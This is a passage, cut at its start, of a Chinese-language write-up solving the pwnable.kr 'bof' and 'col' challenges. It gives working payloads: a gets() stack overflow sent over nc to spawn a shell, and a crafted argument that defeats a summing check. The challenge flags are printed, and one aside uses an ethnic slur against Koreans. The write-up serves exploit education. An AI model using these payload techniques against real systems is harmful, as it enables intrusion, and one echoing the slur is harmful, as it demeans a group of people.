    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

很明显,根据注释,在gets函数的地方进行栈溢出,将key的数值覆盖为0xcafebabe,那么接下来需要计算出key和overflowme的地址差。一开始看到提供的elf文件,我觉得没有用,因为给了c源码,完全可以自己编译。现在知道编译完成后,变量的地址已经相对固定了。我们用IDA打开elf文件,看到key的地址为[bp+8h],overflowme的地址为[bp-2Ch],两者相差了8h+2Ch=52,所以我们用52个字符填充就可以了,其后用cafebabe进行填充。最后的payload为:

(python -c “print ‘a’*52 + ‘\xbe\xba\xfe\xca'”;cat -) | nc pwnable.kr 9000

直接获取了shell,然后读取flag文件:

ls -al
total 16512
drwxr-x—  3 root bof      4096 Sep 10  2014 .
dr-xr-xr-x 66 root root     4096 Jul  1 02:14 ..
d———  2 root root     4096 Jun 12  2014 .bash_history
-r-xr-x—  1 root bof      7348 Jun 11  2014 bof
-rw-r–r–  1 root root      310 Jun 11  2014 bof.c
-r–r—–  1 root bof        32 Jun 11  2014 flag
-rw——-  1 root bof  16869264 Jul  8 01:38 log
-rwx——  1 root bof       760 Sep 10  2014 super.pl
cat flag
daddy, I just pwned a buFFer 🙂

最后的flag为daddy, I just pwned a buFFer 🙂   (怎么感觉这个傻逼棒子总是在占我们的便宜)

pwnable.kr-col

首先是题目描述:

Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!

ssh [email protected] -p2222 (pw:guest)

看下文件:

[email protected]:~$ ls -al
total 32
drwxr-x—  4 root col  4096 Aug 20  2014 .
dr-xr-xr-x 66 root root 4096 Jul  1 02:14 ..
d———  2 root root 4096 Jun 12  2014 .bash_history
-r-sr-x—  1 col2 col  7341 Jun 11  2014 col
-rw-r–r–  1 root root  555 Jun 12  2014 col.c
-r–r—–  1 col2 col2   52 Jun 11  2014 flag
dr-xr-xr-x  2 root root 4096 Aug 20  2014 .irssi

col.c内容:

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
    int* ip = (int*)p;
    int i;
    int res=0;
    puts(ip);
    for(i=0; i<5; i++){
        res += ip[i];
        printf("%d\n", ip[i]);
    }
    printf("%d\n",res);
    return res;
}

int main(int argc, char* argv[]){
    if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }
    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes\n");
        return 0;
    }

    if(hashcode == check_password( argv[1] )){
        system("/bin/cat flag");
        return 0;
    }
    else
        printf("wrong passcode.\n");
    return 0;
}

这题主要需要满足check_pass返回值等于hashcode(0x21DD09EC),check_pass函数的功能很简单,传入一个char指针,转换成int指针,然后对数组内的数据进行求和。

这里要注意char型为1Byte,int型为4Byte,而且数据是从右向左存储:

例如我们输入1111,字符‘1’对应的ascii码的hex值为0x31,那么char型数组的内存中存储的就是31313131,变成int后对应的变量大小为0x31313131,这里换成abcdefgh更直观,传入的四个char为0xab、0xcd、0xef、0xgh,转换成int后对应的数值变成0xghefcdab,然后一共有5组这样的0xghefcdab进行求和最后的结果为0x21DD09EC,所以最后的解也是shellcode会有很多种情况了,这里我们设置四组都是相同的’0x02020202’,最后一组算出来是:

>> hex(0x21dd09ec-0x02020202*4)
‘0x19d501e4’

所以反序输入应该为0xe4 0x01 0xd5 0x19

由于有非可见字符串,我们无法手动从终端输入,利用python进行输入:

[email protected]:~$ ./col `python -c “print ‘\x02’* 16 + ‘\xe4\x01\xd5\x19′”`
daddy! I just managed to create a hash collision 🙂

成功得到flag:daddy! I just managed to create a hash collision 🙂